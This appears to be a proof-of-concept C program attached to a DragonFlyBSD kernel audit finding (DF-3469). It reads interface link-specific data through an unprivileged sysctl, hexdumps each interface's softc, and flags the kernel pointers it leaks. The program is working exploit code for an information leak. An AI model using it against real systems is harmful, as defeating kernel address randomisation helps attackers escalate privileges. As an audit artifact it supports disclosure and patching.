⬢ DragonFlyBSD Kernel Audit
DF-3469 / read_leak.c
← back to finding ↓ download raw
/*
 * DF-3469 — unprivileged kernel-pointer disclosure via
 * net.link.generic.ifdata.<ifindex>.linkspecific (IFDATA_LINKSPECIFIC)
 * combined with sl(4) registering its ENTIRE struct sl_softc as
 * if_linkmib/if_linkmiblen (sys/net/sl/if_sl.c:218-219).
 *
 * Walks ifindex 1..ifcount, reads .1 (IFDATA_GENERAL) to get the ifnet
 * name, then reads .2 (IFDATA_LINKSPECIFIC) and hexdumps it, flagging
 * every 64-bit kernel-pointer-looking qword (0xffffxxxxxxxxxxxx on
 * x86_64 DF kernels).
 *
 * Expected: sl0..sl3 dump sizeof(struct sl_softc) bytes containing
 * struct ifnet function pointers (if_output == &sloutput), TAILQ
 * self-pointers (softc kernel address), callout function pointers, ...
 * All with NO privilege: this is a plain sysctl read.
 *
 * build: cc -O -o read_leak read_leak.c
 * run:   ./read_leak [ifindex]
 */
#include <sys/types.h>
#include <sys/sysctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <inttypes.h>
#include <unistd.h>

static int
read_oid(const int *oid, size_t oidlen, unsigned char **out, size_t *outlen)
{
	int mib[8];
	size_t len = 0;
	unsigned char *buf;
	size_t i;

	for (i = 0; i < oidlen; i++)
		mib[i] = oid[i];
	if (sysctl(mib, (u_int)oidlen, NULL, &len, NULL, 0) < 0)
		return (-1);
	buf = malloc(len ? len : 1);
	if (buf == NULL)
		return (-1);
	if (sysctl(mib, (u_int)oidlen, buf, &len, NULL, 0) < 0) {
		free(buf);
		return (-1);
	}
	*out = buf;
	*outlen = len;
	return (0);
}

static void
dump_and_flag(const char *ifname, const unsigned char *buf, size_t len)
{
	size_t off;
	int nptr = 0;

	printf("  linkspecific len=%zu\n", len);
	for (off = 0; off < len; off += 16) {
		size_t j;
		printf("  %04zx:", off);
		for (j = 0; j < 16 && off + j < len; j++)
			printf(" %02x", buf[off + j]);
		printf("\n");
	}
	/* flag kernel-pointer-looking aligned qwords */
	for (off = 0; off + 8 <= len; off += 8) {
		uint64_t v;
		memcpy(&v, buf + off, 8);
		if ((v >> 44) == 0xfffff && v != 0xffffffffffffffffULL) {
			if (nptr == 0)
				printf("  kernel-pointer qwords:\n");
			printf("    +%04zx: 0x%016" PRIx64 "\n", off, v);
			nptr++;
		}
	}
	printf("  %s: %d kernel-pointer-like qwords in %zu bytes\n",
	    ifname, nptr, len);
}

int
main(int argc, char **argv)
{
	int ifcount_oid[5] = {4, 18, 0, 1, 1};	/* net.link.generic.system.ifcount */
	int ifcount = 0;
	size_t olen = sizeof(ifcount);
	int idx;

	if (sysctl(ifcount_oid, 5, &ifcount, &olen, NULL, 0) < 0) {
		perror("ifcount");
		return (1);
	}
	printf("ifcount=%d uid=%d\n", ifcount, getuid());

	for (idx = 1; idx <= ifcount; idx++) {
		int gen_oid[6] = {4, 18, 0, 2, idx, 1};
		int spec_oid[6] = {4, 18, 0, 2, idx, 2};
		unsigned char *gbuf, *sbuf;
		size_t glen, slen;
		char ifname[32];

		if (read_oid(gen_oid, 6, &gbuf, &glen) < 0)
			continue;
		memset(ifname, 0, sizeof(ifname));
		memcpy(ifname, gbuf, glen < 15 ? glen : 15);
		free(gbuf);
		printf("ifindex %d: %s\n", idx, ifname);

		if (read_oid(spec_oid, 6, &sbuf, &slen) < 0) {
			printf("  linkspecific: <none>\n");
			continue;
		}
		dump_and_flag(ifname, sbuf, slen);
		free(sbuf);
	}
	return (0);
}